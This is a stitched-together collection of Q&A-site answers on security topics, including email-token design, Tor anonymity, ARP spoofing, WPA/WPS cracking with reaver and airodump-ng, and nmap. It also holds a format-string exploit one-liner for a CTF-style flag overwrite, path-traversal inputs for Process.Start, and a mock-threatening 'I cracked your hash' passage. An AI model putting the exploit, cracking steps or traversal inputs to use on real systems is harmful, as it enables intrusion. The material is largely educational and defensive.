On the other hand, usability always plays a role in security. The best security isn't the strictest; it's the security that people will use, and especially that they won't seek workarounds for.

People who are security conscious are increasingly less willing to follow links in emails. People who are habituated to following links in emails are also more likely to follow phishing links in malicious emails.

In addition, users may not have access to their mailbox with the computer that they're using, or may not be using the same web browser that their email client opens by default. I.e., the default email clients on mobile devices may open the default browser that comes with the phone/table, rather than a browser that the user installed later and uses regularly.

Thus, for a simple email verification, or for a second factor during login, short codes that a user types are good enough, so long as they're generated using a cryptographically secure pseudorandom number generator (CSPRNG) seeded by a high entropy source, such as /dev/urandom or a similar system on your platform.  You can also include a link that will have that code, in case this is easier to use by the user, rather than copying and pasting the code.  The key here is that, for something that is common (i.e., daily), make it as easy as possible for the user to increase their security.

If the user is trying to change something about their account's security, though, such as changing their password, changing their contact information (email address), or changing any part of their 2nd factors (also in your case, email address), you should make the token longer, to the point where it doesn't make sense to have users type it in.  Still use your high entropy source to seed your CSPRNG, of course.

In all cases, these tokens should have a very limited life, up to a few hours. Make them single-use only (so that a user can tell that someone used their token first or, if the eavesdropper is slow, the eavesdropper can't reuse that token), and make the token usable only by that one account. (There are stories of people generating password reset tokens for themselves, then changing the user ID to someone else's, gaining access to their account that way.)  All login and password reset attempts should be throttled both by IP and by account, and failed attempts should be logged.


Clearing password field after an invalid login attempt

As a general rule, the server should not provide information about a submitted password, regardless of if that password was correct or not, back to the client.

After all, humans tend to reuse passwords, so even if the password isn't correct for that user on that site, it may be correct on a different site, such as their bank.

I'm not aware of any ways to intercept a password that applies only to receiving the password, that wouldn't apply to sending it as well.  However, the fewer number of times a password crosses a network, the better1.

If the application submitting the password does a full page refresh, then the attempted password most definitely should not appear in the password field, because it requires the server to send that information back.

If, instead, the application submits the password through an AJAX request or some other means that does not update the page (or the login form), then it is safe for the password to remain in the field, as opposed to being re-filled in for you by any action from the server.

The only ways that I can think of that it might not be safe, is in cases where (potentially) malicious scripts are loaded after an authentication attempt. However, I consider such a vector to be unlikely and contrived, and the possibility indicates that the site itself is untrustworthy, regardless of when it loads the scripts.  (Related tangent: Don't reuse passwords. Use a password manager and generate random passwords for every site; you never know when a site may be compromised (whether intentionally or not).)

The closest that the NIST standards on passwords come to making a judgement on this specific case, in section 5.1.1.2, says (emphasis mine):

  In order to assist the claimant in successfully entering a memorized
  secret, the verifier SHOULD offer an option to display the secret —
  rather than a series of dots or asterisks — until it is entered. This
  allows the claimant to verify their entry if they are in a location
  where their screen is unlikely to be observed. The verifier MAY also
  permit the user’s device to display individual entered characters for
  a short time after each character is typed to verify correct entry.
  This is particularly applicable on mobile devices.

A strict reading of this could be interpreted as clearing the password field every time it is submitted, whether using a full page refresh or using an AJAX request.  However, it is part of a "SHOULD" statement, rather than "SHALL" statement. Regardless of how strict one interprets this, the entire standard seems to assume that submitted passwords are never repeated by the server.

1Quick side note: I see a lot of people suggest to send a hash of the password, rather than the password itself, to prevent it from going across the network.  This doesn't improve security because when doing that, the hash becomes the password.


What's the point in hashing phone numbers?

ProtonMail may request your phone number to perform a human check:

ProtonMail detects that you're attempting to create several accounts.
It requests you a phone number, to send you a token via SMS.
You must send that token to ProtonMail to prove you're the phone number owner.

Then, ProtonMail doesn't need your phone number anymore, but it still need to use it to prevent spammers to create multiple accounts.

Hashing the phone number allows it to not store the original number and to prevent someone to use the same number twice.

From their FAQ:

  However, using the same phone number will result in obtaining the same cryptographic hash, so by comparing hashes, we can detect re-use of phone number or email addresses for human verification.

Thus ProtonMail doesn't seem to use unique salts.

We also know thanks to a tweet from Bart Butler (ProtonMail CTO) that:

ProtonMail regularly flushes stored hashes.
Stored hashes aren't linked to any account.

Bart Butler also tweeted:

  We use a slow password hash (With a salt) and flush the list and rotate the salt at irregular intervals.

In conclusion: brute-forcing them is possible, but it's neither practical nor useful.


Is it a security risk to be using Doctrine1 today, as the PHP Library has not been updated in 8 years?

Any time you are using a library that has not and cannot be updated, you are increasing your exposure to risks of vulnerabilities in that library (and in other libraries embedded into that library). This talk by Kymberlee Price does a nice job of talking through some of the impact a third-party library or integration of any kind can have on your codebase's attack surface and risk profile.


Better way to store user authentication on phone app

Don't store long lived auth-tokens, as they can be replayed.

Don't store anything connected to a global shared secret, because that could compromise the user indefinitely.

Don't store anything derived from the user password, as that opens up very easy dictionary attacks.

SHA(last-session-key) is one of the best and most secure authentication tokens you can store.  It doesn't compromise previous sessions. It's a large secret with plenty of entropy. It can only be used once. It's easy to combine with other factors if you want even more security.


Finding web application on webserver having only IP

One approach to this problem which could work, depending on how they've configured SSL, would be to check the SSL certificate returned when you connect to port 443/TCP.

The certificate may contain hostnames which are valid for the server, allowing you to locate websites running on it.  This can either be in the CN field, or in the SAN (Subject Alternative Name) field.

This may not work, if they're using a wildcard certificate or if they're just doing a self-signed certificate with the IP address, but worth checking anyway.


Is there a tool in Kali Linux that get Wi-Fi passwords only by capturing the traffic?

I would say that most of the wifi cracking tools can do their job with or without injection, depending on the commands and parameters you provide.

For example if you are cracking WPA/WPA2, you can "crack" it without injection by waiting for a client to authenticate and by capturing the 4-way handshake, which you then brute force. In that case, you are not using packet injection.

But if you don't want to wait for a client to authenticate, you could deauthenticate one that is already on the network and force it to reauthenticate, but in order to do this, the tool you are using must use packet injection.

The same counts for WEP. If there is enough traffic on the network, you can just wait and collect network traffic. When you collect enough traffic, it will be used by the cracking algorithm to get the password. In that case you do not need injection. But if there is not much traffic, you can speed up the process by injecting some bogus packets into the network.


https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-5.0 Process.Start is more akin to, in terms of POSIX functions, execvp than to system—Process.Start doesn't launch a shell (where your && tricks would work great), but rather directly invoke the given filename.
However, prepending a prefix to a filename can rewrite it to arbitrary places, because you can do something like:

../../../evilcalc.exe (user_input is ../../../evil (ascending ancestor directories from the current working directory)
C:\somewhere\evilcalc.exe (user_input is C:\somewhere\evil) (Windows absolute file path)
/somewhere/evilcalc.exe (user_input is /somewhere/evil) (Unix absolute file path)

I don't think you can run something that doesn't end in calc.exe though—your mal.exe needs to be named something else (although I do question how you got it there at all, yet can't select its name—is it a builtin OS service or already-installed application you want to inconveniently trigger?).


Will I be 100% secure (anonymous) when using the "regular" web through Tor?

The short answer is "maybe". It depends on what you've done in the Tor browser, and what forms of anonymity you're trying to achieve.

For example, if you sign in to a site (say, to leave a review), the site won't be able to tell where you're signing in from (which it normally can deduce from your IP address), but it will certainly know who you are, at least to the level of your account details (because you just signed in with that account). If you avoid signing into anything, you will theoretically be anonymous, but if you move from one page to another, there's still always a risk of a pattern being recognized (even though the requests come from different IPs and in theory you won't be picking up tracking cookies or anything) if, for example, very few users would be likely to visit those specific pages using Tor within a narrow timeframe (Tor exit nodes - the IP addresses that servers see when you use Tor - are generally well-known, so you can hide which Tor user you are but you can't hide that you're using Tor). True anonymity is hard.

Not directly relevant to your question, I think, but you should be aware that security and anonymity are not the same thing. A breach of security (for example, due to a bug in the Tor browser, which has happened before) can lead to a breach of anonymity (for example, by fingerprinting your computer and sending that data to another server, or by sending a network request that is not routed through Tor and hence reveals your real IP address). Security breaches can also lead to other things, like logging keystrokes, accessing files on your machine, infecting other programs, sending email to all your contacts, and so on. The Tor project takes security quite seriously, but it's also a very tempting target - lots of people looking for ways to compromise it, and see what its users are up to - and there's no such thing as being "100% secure" with any piece of software as complicated as a modern web browser.


Is Google API Key a sensitive information that needs to be protected?

The Google Maps SDK for iOS sends the app's API key to Google in such a way that any end user of the app can find the app's API key by using an HTTPS proxy.  If you happen to be developing on a Mac, you can try this yourself pretty easily using the Charles proxy.

Configure Charles to act as a proxy for clients4.google.com.  On a Mac you'll need to make sure you're using the "alternative version" with full SSL proxying support downloadable from this page.
Download and install the Charles SSL certificate for iOS devices by visiting this link on your iOS device.
Configure your iOS device to use an HTTP proxy (this is available in the advanced options for your WiFi network, accessible via the little "i" button next to your WiFi network's name).  Set the proxy server to the IP address of the Mac running the Charles application, and the port to 8888.
Run your (or any) iOS app that uses the Google Maps SDK for iOS.

In Charles, you'll see POST requests go out to clients4.google.com, where the API key is visible as part of the request body.

So, to answer your questions:

In terms of security it hardly matters if you hard code the key.  Any end user can get your app's maps API key without ever digging into the app itself.  In terms of convenience you might be better off fetching the maps API key from your own server so that if/when you need to update your maps API key you don't need to release a new version of the client app.
The maps API key is not sensitive, in the sense that Google does not treat it as sensitive information.  And in fact, even if Google obfuscated the keys by sending (say) a hash to their API instead of the key itself, a determined end user with a jailbroken device and a debugger could still get your API key by inspecting the parameter you pass to +[GMSServices provideAPIKey:].  So it's questionable that there would be any point in trying to treat the API key as sensitive information.
An attacker can exploit the exposure of your API key by making requests to the Google Maps API that appear to be coming from your app.  A group of malicious users could spam the API to use up your app's "courtesy" bandwidth, or to run up your bandwidth bill if you have billing enabled for the Google Maps API.  If you (or Google) are keeping a close eye on your bandwidth usage, you could partially defend against such an attack by revoking and replacing the maps API key when your app's (apparent) usage of the maps API spikes.


Is it safe to sign in to Google with password from desktop app like BlueStacks?

Anything you type your password into has the theoretical capability to mis-use it. That includes everything you're already using your google account with, such as your PC and smartphone.

To answer your question you would need to make a risk assessment of all the things that could go wrong, and work out what to do about it.

We can't really do that for you, because we don't know what sort of information you might put through this app or have protected by your Google password; and we don't know what your risk tolerance is.


Tor provides you with anonymity.

HTTPS protects (encrypts) the content of your data.

HTTP provides none of these.

Tor provides anonymity but does not protect the exploitation of an insecure application to reveal the IP address of, or trace, a TCP stream.

Running HTTP over Tor means your communication data could be read and thus compromise your anonymity.

Here are 4 schemas showing the difference between using HTTP, Tor+HTTP, HTTPS, Tor+HTTPS (the green button reflects the used protocol) regarding what an attacker (eavesdropper) may see:

HTTP (the eavesdropper sees everything)

Tor + HTTP (eavesdropper reads the communicated data)

HTTPS (eavesdropper can not read your data, that is all)

4: Tor + HTTPS (even safer)


There isn't a big difference between using TOTP and storing a random integer with an expiry time.
However, while the later is easier to implement, I would suggest using TOTP for email too, and then let people verify using either a normal TOTP token (either hardware or software) or falling back to your email-TOTP if they haven't registered a TOTP. Using the same method for both seems better, and even if you aren't using a normal TOTP today, you should, and this will make it easier to implement it later.


A broadcast packet is, at the ethernet level, a packet with a specific bit set in the address which tells: "if you see this frame, have a look at it". Normally, a network interface will disregard frames unless the destination address is its own MAC address (an interface can be put into "promiscuous mode" to pick up all frames); but the "broadcast" bit makes the frame "interesting" for all network interfaces.

When the frame is not filtered out by the network interface, the frame contents are processed by the host system regardless of its ethernet source and destination addresses: the frame was received, and that's enough. If the frame contains an ARP reply, then the information contained in this reply ("the host with this IP address uses that ethernet address") is duly processed. It depends a bit on the operating system, though: Linux is known to disregard ARP replies which do not correspond to an ARP request which it sent not long before.

There is no authentication whatsoever in the ARP protocol; it is built on trust. Hence, it is vulnerable to active attacks such as yours.

Setting a static ARP table entry gives you some protection, but removes a bit of flexibility (if the gateway hardware is replaced, the ethernet address will change, and since the static entry takes precedence, your machine will refuse to talk to the replacement) and it is not a complete protection either: your packets may still be observed by the attacker, and he can still spoof fake packets, which can be enough to do a lot of harm.

As a network administrator, the best you can do is a combination of static routes (tedious, does not scale well) and watch/logging/reporting (maintain a table of IP / ethernet pairs, report every ARP reply which tries to change that). See this page for a list of possible defenses.


For a typical email activation it should be okay, however for a password reset or an email confirmation which logs you in afterwards you usually want to ensure tokens are single use.

That ensures that a man-in-the-middle logging requests (ie. a corporate network administrator) can't follow the same link and log in after the legitimate user. Your expiry limits the window where this is a possibility though.

You also need to be careful with any other user input that you sign for other purposes. You want to ensure that a user couldn't exploit some other functionality by entering input that will generate a valid token for your email activation. You might like to include some random "action" string in your payload to ensure tokens generated for other purposed can't be used for email activation.


How do I find a target on the wired network, from an attack system on Wi-Fi?

Simply so it shows as having an answer:

nmap -sn <your IP address>

...will perform a ping scan across all the connected hosts, quickly showing what IP's are responding to pings on your network.

Note that this is case-sensitive.


How difficult is it to direct an email into a gmail recipient's spam folder?

If I recall correctly Gmail supports GTUBE, a test string which will always make the spam filter mark a mail as spam. So including

XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X

In a message body Could do the trick. I don’t use gmail myself so I can’t verify this, but if it is supported it’s one way to guarantee that a mail is marked as spam.


How to login to websites with Google Authenticator using new phone?

Solving the Existing Problem

Hopefully, you still have the old phone. Google Authenticator is not meant to be transferred, but you could use a backup utility (possibly requiring root access) to back up the data files from the old phone, and restore them on the new one. Also, many sites offer SMS as a backup way of verifying a login (even though this is not as secure), so you may be able to access some accounts this way, if set up.

If you can't exercise either above option, you will likely need to recover those accounts (possibly using backup codes; if they don't fit where you put the 2FA token, perhaps there is a "use a backup code" button like some sites have).

Preventing This Next Time

Google Authenticator, as mentioned, does not have backup capabilities at time of writing. The only other solution would be to use a 3rd party 2FA app. There are probably many options in the app store, but the main ones I'm familiar with are Authy, which syncs your tokens to the cloud (supposedly encrypted and only recoverable by you, but can you trust them?), or the open source AndOTP, which lets you import/export the data. However, I'd suggest you do your own research.


What additional steps can be taken on a wireless network penetration test after acquiring WPS pin?

You can check with other wireless device using different chipset. Sometimes (is weird I know) with other device it works. Sometimes, there is some kind of incompatibility between the software and the drivers... like for example using reaver and a wireless device with Ralink chipset. It never works.

Now you know the PIN, so your reaver and bully commands can be using -p argument.

Another test you can do is try to check if your AP has PBC (Push Button Connect) activated by default. If you have access to the router you can check it on configuration. Another way to check is using airodump-ng and the --wps parameter available on most modern versions of aircrack suite (since v1.2 RC2 I guess). With that parameter you'll see a new column with WPS info. Let it scanning more than one minute and interesting info will start to be appearing like the WPS version or if the AP has PBC activated or not.

Another curiosity about this, --wps parameter is that the WPS info is shown on window but is never written to the files using -w parameter in airodump. I think maybe is because adding a new column can break the compatibility with all the people who have scripts and automated processes based on this, IDK, is a wild guess.

Regarding your problem again, I experimented Pixie Dust against vulnerable routers with PBC activated and the result is curious... it takes the PIN but then is unable to get the password. Is a similar behavior that you are experimenting. I know is not the same but maybe with some of these advices you can get the step further.

Good luck!


How secure is to store encryption keys or SSH Keys on LPAR?

For such small question, a small answer: even wikipedia is your friend:

  IBM mainframe LPARs are Common Criteria EAL5 certifiable, equivalent
  to physically unconnected servers, so they support the highest
  security requirements, including military use.

And it also points to some docs from ibm: this link, for example can give you a lot of information.


why is thepiratebay.se listed as deceptive site in Chrome and other browsers

“Attackers on thepiratebay.se may trick you into doing something dangerous like installing software or revealing your personal information (for example, passwords, phone numbers, or credit cards).” well that should answer your question.
These types of warnings typically occur when an ad network is compromised and starts serving malicious ads. Because sites often use multiple advertising networks, some specific to certain regions, not all users are always affected. In short, at least one of The Pirate Bay’s pages is serving up malware, according to Google.


Everykey (Bluetooth master key) - is it really secure?

First of all, I have no access to real technical specs, I just know what the site (and the question) is saying. (The site has a specs section, but it's completey useless. It's just stuff like which OS are supported).

  But how safe is this really?

Judging from the available information, not at all.

Some reasons, in no particular order:

As you said, one key for everything is a huge red flag. Would you want a key that locks both your house and car, gives access to your bank account, and is enough authentication for a divorce?  Probably not.

  the same encryption that's used by the military

This (haha) is a 1000%-sure sign that they just want money, not security.

No real, detailled description of the security scheme available: No one can check if the employees made some error, or if it is really secure. Since humans are not perfect ... History shows that many "closed-source" security stuff gets cracked pretty easily. A secure algorithm can be called secure after people knowing how it works tried to crack it, and failed, that's one of the most important and basic rules in cryptography. Also see Kerckhoffs law on Wikipedia.

AES128 is the weakest AES variant, that's no reason to boast with it.
(And without more information, even the storngest AES variant could be bad).

Using AES to prevent password cracking means that there is a key. What prevents key cracking? And why do the use a reversible algorithm to prevent password cracking at all? While there could be a reason, it sounds more like an beginner-level error.

Bluetooth has some security risks itself.

  Each time Everykey broadcasts an encrypted Bluetooth 4.0 message, it
  is different from the previous message, preventing a hacker from
  sniffing a message and re-broadcasting it.

Just introducing some difference in each message does not prevent anything.
This statement is just nonsense.

  Your Everykey broadcasts encrypted information to identify itself,
  which only your devices are able to decrypt

So all devices have the key (AES is symmetric). An attacker doesn't even need to steal your bluetooth dongle, control over any bluetooth-y thing in your house is enough.


Does base64 encoding an image and storing it in a database introduce risk for XSS

Assuming you're handling the image data in a sensible manner, no.  The data never gets put in a place where it could be seen as code.

Even if you're not handling the image data in a sensible manner, probably not.  The base64 "alphabet" is missing some of the characters essential to producing useful Javascript -- there's only so much you can do with +, /, =, and the alphanumerics.  Without parenthesis, brackets, semicolons, spaces, or quotation marks, you can't construct an SQL injection or a Javascript function call.


Re. inspecting memory: Back in the day, that was indeed how it was done. It's often a bit more involved than that due to anti-debugging tricks or run-time encryption (on top of the inevitable obfuscation) of the DRM program code and data. If I remember correctly that was how the DeCSS key was leaked from the software-based DVD player programs of the time.

The CDM providers might take this road, which is well-known to be somewhat secure in that it buys time (it takes a skilled reverse engineer a while to figure out the decryption, then you change it in the next version and make them start over again) and isn't too controversial.

Or they might go for a hardware solution in which part of the decryption code is uploaded into some 'secure enclave' in your CPU that cannot be inspected from within the same computer itself. I think we have gotten a preview of this type of scheme with e.g. Apple's iPhone and Intel's 'Management Engine' which has been in the news recently, although I don't think the current implementations of either make much provision for multimedia decryption / playback.

So I think the plain answer to your question is:

The current crop of CDMs are probably as secure as a typical software DVD or blu-ray player: Good against most casual opponents, still vulnerable to skilled reverse engineers who care to put in the requisite time and effort.
Future CDMs have the potential to be highly secure, assuming hardware support becomes widespread, making illicit decryption of multimedia as difficult as e.g. jail-breaking an iPhone or cracking the copy protection on a modern gaming console: There is at any given time probably only a handful of people in the world with the skill, time and motivation to crack such hard schemes (reverse engineers and hackers almost always 'age out' - it's a young man's game).


Can I recover files that I had on windows from a SSD that I converted to apfs (mac) and which method or tool to use?

From the Disk Utility User Guide, Erase and reformat a storage device in Disk Utility on Mac:

Note: With a solid-state drive (SSD), secure erase options are not
available in Disk Utility. For more security, consider turning on
FileVault encryption when you start using your SSD drive.

This gives you some chances to recover some files, if the drive wasn't formerly encrypted with e.g. BitLocker. Most likely the files are not in any directory structure, they are possibly lacking original file names, and they can be corrupted, too. The less you use the drive the higher the chances you still have.
This again emphasizes the meaning of proper backups, which always provides a more reliable and easier path, and also enables full recovery. Have you learned this lesson now?
SE isn't for product recommendations, but there are many tools and some are free. Googling for ssd file recovery gives plenty of alternatives.


NMAP not reporting open ports with -sS scan

Most likely, it's because port 2509 isn't in the 1000 most frequently used TCP ports.  Unless you specify specific ports or a port ratio or top port number, nmap scans only the 1000 most commonly seen ports.  See the nmap user guide for details on port selection.


Potential risks when sending plain text E-Mails with encrypted attachments?

If the underlying algo's and methods (i.e. including signing) are the same then the reliance on the actual encryption is no different and in the real-world there is little difference in risk.

From a theoretical cryptanalysis standpoint one could argue that if the plaintext covering email provided context it would aid an attack on the cipher text, but modern algo's make this largely irrelevant.
One could also argue that if the entire email is encrypted an attacker would not know which aspect of the cipher text is email and which is attachment, but again if the crypto is reliable this is really only a theoretical difference in security. And provided the attachment is signed an attacker will not be able to replace the attachment (without the recipient being aware).

From a practical perspective I have always relied on specifically encrypted attachments rather than rely on a built-in email client mechanism, this is so that I know before an attachment is used that it has been encrypted and therefore no matter what finger trouble I have, when creating and sending the email, the attachment will always be encrypted and only accessible to the intended recipients (which in my opinion outweighs any theoretical benefits of encrypting the whole email).


How an experienced user decides a download is safe?

Deep down you don't; from a security perspective I have more software running on my phone than I could effectively ever review in my lifetime. My desktop machine would be 100,000 worse than that.
So you have to trust where you get the software from, you can check to see if it has been tampered with. But that's still no guarantee (for example a few years ago a tiny tiny change to debian caused a massive reduction in entropy of encrypted communications, to the point where data could be guessed, or proftpd (maybe vsftpd I don't remember which) had a malicious commit from a contributor that got missed allowing root level access when a user logged in with a hard coded username and password).


Why isn't free software signed with self-signed certificates?

Signing with a self signed certificate provides no value for the usual windows user.
The signature is invalid from the point of Windows.
The name of the signer is not shown in the elevation prompt. People who would be able to verify such a signature are equally able to verify e.g. a GPG signature which is more common in the open source community.

Signing with a certificate that is seen as valid in windows makes sense. The name of the developer is shown in the elevation prompt, at least. But this certificates cost money, even if there are cheap options for open source developers.

Additional to the cost, certificates (not self signed) need to contain the name of the certificate owner. Some people wouldn't want this publicity. Also, this could be seen as accepting some liability for faults in the software, which also many people providing open source without profit don't want!


Is it possible to get hacked if my bcrypt hash is publically known?

A brief overview of weak hash algorithms vs. bcrypt
With weak password hashing algorithms, what hackers will do is try millions, or billions of different combinations - as fast as their hardware allows for - and many easy passwords will fall quickly to rainbow tables / password crackers / dictionary-based attacks.
Attackers will try to compare a massive quantity of strings to your hash, and the one that validates is very likely your password. Even if it isn't, you can still log in with it because you've found a collision.
However, bcrypt is different. It's computationally slow, so this cracking will be slowed down immensely. Bcrypt can help slow cracking down to the point where you can only do a few tests per second, if that. This is due to the computational cost factor. You should read this answer by Thomas Pornin for a better explanation:

If the iteration count is such that one bcrypt invocation is as expensive as 10 millions of computations of MD5, then brute-forcing the password will be 10 million times more expensive with bcrypt than with MD5.
That's the point of having configurable slowness: you can make the function as slow as you wish. Or, more accurately, as slow as you can tolerate: indeed, a slow function is slow for everybody, attacker and defender alike.

So it really depends on the added computational cost. Some custom hardware solutions are able to crack bcrypt hashes at upwards of 52k hashes per second. With a standard attack, and a poor password, you don't have much hope of holding out for long. Again, this depends on the computational cost: even this custom hardware solution can be forced down to 2-5 hashes per second, or even slower.
Do not re-use passwords if you care about the accounts.

I already found your credentials, and "cracked" your bcrypt hash
But I won't hack you, don't worry. This is just to demonstrate why you should update your credentials, and stop-reusing your password. You wanted an answer, so what better than a live demonstration?
You're from the U.K., correct? Your bcrypt hash is also $2a$10$omP392PbcC8wXs/lSsKZ5Ojv9.wFQ7opUn7u3YUBNu0kkbff0rB.m, correct? I already "cracked" your password, and I know your accounts. I see you, a thief on the roof. My new satellite link has both infrared and the x-ray spectrum. I see your heart beating; I see you are afraid.
This should go without saying: you should definitely change your passwords. Start changing your credentials now... before it's too late. You should be worried, and you should change your passwords. Now.

Yes, bcrypt can be extremely slow, but...
I actually found a way to completely side-step the brute-forcing process with simple data aggregation and correlation. I wrote a little program that ties a few pieces of information together, and compares them. Not a password cracker or anything like that, but at the end of the day, it got the same job done.
For your privacy - and as per your request - I will not share how I did this on here, but you should know that I am not the only one who can do it. If I can do it, so can others.

However... you need to stop reusing passwords!
You really, really do not want to do this. If one site is compromised, having different passwords on other accounts protects the others from breaches as well.
Update all of your accounts, even ones you haven't used in a while, and stop reusing passwords unless you don't care about them. You may want to consider something like KeePass.


What would be good resources to conduct Technical Impact Analysis?

This question is too broad, as the answer is going to depend upon the particular vulnerability/attack.  Pretty much any description of a vulnerability or attack will describe its potential impact (= technical impact, in the OWASP terminology).  So, if there's a particular vulnerability you want to know about, you should be able to go read any primer on that vulnerability and find out more about the (technical) impact of the vulnerability.

For instance, buffer overflow vulnerabilities allow code injection, so allow the attacker to inject malicious code into the vulnerable program and execute it with all of the program's privileges.  SQL injection vulnerabilities allow the attacker to execute arbitrary SQL queries (and thus read or write to the database) and possibly -- depending upon how the database is configured -- execute malicious code with all of the database program's privileges.  And so on.


Is using Chrome and Tor Browser at the same time secure?

It seems to be a bug in Tor Browser, as stated here:

  bug report:
  https://www.mail-archive.com/tor-bugs@lists.torproject.org/msg78499.html
  answer:
  https://www.mail-archive.com/tor-bugs@lists.torproject.org/msg81303.html

Check the answer, there is a possible fix.

Regarding your question, that error message always shows "Chrome", it shouldn't be able to see other browser's data.

By the way, pressing ctrl-shift-j opens up the console, where you can check additional information about NoScript.


Any Known countermeasures against clock skew fingerprinting?

As of Linux kernel commit 95a22caee396cef0bb2ca8fafdd82966a49367bb, all TCP timestamps are randomized. This allows you to mitigate clock skew fingerprinting without worrying about the issues that can arise on high-throughput connections when timestamps are disabled. Note that this commit was partially reverted due to breakages, but TCP timestamps are still randomized on a per-host basis.

See a copy of the relevant commit message, from 2016:

tcp: randomize tcp timestamp offsets for each connection

jiffies based timestamps allow for easy inference of number of devices
behind NAT translators and also makes tracking of hosts simpler.

commit ceaa1fe ("tcp: adding a per-socket timestamp offset")
added the main infrastructure that is needed for per-connection ts
randomization, in particular writing/reading the on-wire tcp header
format takes the offset into account so rest of stack can use normal
tcp_time_stamp (jiffies).

So only two items are left:
 - add a tsoffset for request sockets
 - extend the tcp isn generator to also return another 32bit number
   in addition to the ISN.

Re-use of ISN generator also means timestamps are still monotonically
increasing for same connection quadruple, i.e. PAWS will still work.

Includes fixes from Eric Dumazet.

Signed-off-by: Florian Westphal
Acked-by: Eric Dumazet
Acked-by: Yuchung Cheng
Signed-off-by: David S. Miller

Prior to this change, it would have been necessary to manually patch your kernel.


Secure GET-based remote API access via PHP

I see three issues with this:

An attacker could set other query parameters than uid by e.g. using 123&foo=bar. Depending on how your site and how website.com works, this could lead to unexpected behaviour. To mitigate this, use some sort of whitelisting or filtering. E.g. if uid should always be a number, check that $_GET['uid'] only contains digits first.

Whoever can control content on website.com can now control content on your site. This basically means that anyone who has access (legitimate or not) to website.com can XSS you or spread malware through your site. If you don't trust them fully, don't do this. Or make sure the Content-Type header is set to something where this is not an issue.

Open redirects! If website.com has an open redirect vulnerability, you have a big problem. An attacker can now make your site serve basically anything! You could tell PHP not to follow redirects to solve this, but if website.com relies on redirects for functionality this might cause you trouble.


how to scan a web application that uses Captcha

In your question, you mention that the app displays the text of the captcha right under it. If you mean that the correct answer to the captcha challenge is displayed to the user as text in addition to its display in an image, then it should be a simple matter to script an automated scan. Your script would be able to complete the login process by reading the text of the captcha answer from the web page, and then providing that answer in the proper field.

I haven't used the tools you're using, so I'm not familiar with scripting capabilities that they might provide. But in Python, you could use urllib to implement this capability. In Perl, you could use LWP.

In my opinion, using a captcha can reduce some risks in a web application, especially risks related to a new-user enrollment process being abused by automated (non-human) clients. It could help as a part of a login form for existing users, but to a lesser extent. A well designed login form should protect itself from brute force login attempts, even wihthout a captcha (for instance, by limiting the number of failed login attempts possible in a given time period for the same user account or client IP address).

And of course, displaying the answer to a captcha challenge in text pretty much removes the usefulness of having a captcha to begin with. At that point, the implementation is inconveniencing the user while providing no security benefit.


You are right that the buffer cannot overflow the flag because of the bounds check. Fgets also includes the null character in its bound check.
http://www.cplusplus.com/reference/cstdio/fgets/

However, there is a string format vulnerability here:

printf(buf);

The user-controlled variable buf is used in a printf statement, causing a format string vulnerability.

https://www.exploit-db.com/docs/28476.pdf

Using a combination of %x %n you can overwrite the flag with "1337." %x is used to pop values off the stack, and %n is used to write the number of characters into that address. The "1337u" expands the number of characters so you can write the correct value. For example, if the memory location of flag is "0xffffff80"

$(python -c 'print "\x80\xff\xff\xff"+"%x%1337u%n"')

This will write a number that is greater than 1337 because of the other stuff before the "1337u," so you just subtract that number by the amount you go overboard, and you'll have the right number. Or, if you want to do some math, the value of "u" is:
“The byte to be written” – “the outputted byte” + “the width of the %x specified just before the %n”


does computing hash takes metadata into account?

Hash algorithms have no idea of files or meta data, they just work on bits and bytes. This means you can write a program which only works on the files content, a program which takes also meta data into account, a program which ignores every other byte of the files content ... - it all depends on which bytes you feed into the hash function. Common command line utilities like md5sum just work on the bytes of the content and don't care about meta data.


Cryptographically secure number generator for node.js

You are correct that Math.random() is not secure. If you want a CSPRNG in Node.js, crypto.randomBytes() is what you're looking for.


How to stop programs like airodump-ng from seing my client's MAC ID and sending deauth packets?

For the first question, your MAC address is simply not generally considered sensitive information; protocols are not designed to protect it. MAC addresses are used to let multiple devices share a physical link; packets have a source MAC and destination MAC, so that everyone but the destination knows they can ignore the packet and the destination knows which device they're talking to. The addresses are unencrypted because that's how your card knows what packets to process. WPA2 could theoretically have been designed so that it used special tokens for this purpose, but it's not clear what the point would be, because MACs aren't considered secret.

For question 2, I'm not sure the router is "seeing past" it. You can change your MAC address. It's something in firmware; on many cards, you can very easily change what the card thinks its MAC address is. There's no such thing as the "real" address; you can change the address, and that is the new real address of the device. Maybe you're seeing older log entries, or you didn't spoof it correctly, because there is in fact no general way to detect a "spoofed" MAC. An attacker can set their MAC to anything they want, and that is their new actual MAC address.

For 3, you should look into 802.11w. This is a fairly recent extension to the 802.11 standard that adds authentication and encryption to management frames (including deauth frames), which prevents deauth attacks. I think Linux and Windows both support it in general; whether or not your access point supports it is something I do not know, but you should look into.

Changing the wireless channel is not a good option, but 802.11w is a very good option to prevent deauth attacks.


If the uploaded file is in a valid image format, .FromStream will not throw an exception, even if it contains a virus. That is, there is no virus checking in it.

On the other hand, there is also no way for the virus to activate, since the file at this point is only being handled as raw bytes.
(It is certainly possible, if not feasible, that it contains an attack targeted directly at the .NET Image class, e.g. via buffer overflow. However, besides being highly improbable that such a vulnerability exists, it's even more unlikely that someone will go to the trouble of targeting such a niche vector).

So, at this point you are perfectly (realistically speaking) safe, but neither do you have any idea if the file is clean or not.

The real question becomes, what happens with this file afterwards?

Is it saved to disk, and used locally?
In this case you should have some form of anti-virus check it, if only for your benefit - if you believe in them, you can just have the local AV engine scan it.

Is it later returned to other users, and thus can use your system for spreading?
You should definitely have some form of AV scan before saving the file. Note that this may not be as simple, since you might be storing the images in your database (there are AV scanners that can be activated by API for a memory segment, before it gets saved to file)... In any event, I am categorically opposed to running antivirus scans directly on your actual systems. You'd be better off having some form of gateway AV scanner, before it even hits your system.

However, take into account that when you allow random users to upload arbitrary files, virus cleaning is not the utmost of your worries.

For one, you can be swamped - either by huge files, or many smaller ones, thus DoSing your server.
If the user can specify the saved file path - he could potentially overwrite system files, or upload executable code.
If file attributes are saved, and later displayed (this includes file name and username, but also description, file type, location, etc) - this can lead to other standard web attacks, such as XSS or SQL Injection.
Do a search here for GIFAR - these are files that are both valid image files, and valid JAR (Java Archive - executable code for the browser) files. These are of course not a virus...
Depending on the system, you may be at risk for legal damages, if your users upload e.g. copyrighted images, or e.g. child pornography.  Of course, consult with your lawyer, as I am not one.

TL;DR

In short, accepting arbitrary uploads does lead you into a whole mess of potential trouble, and virus scanning is not the worst of it.


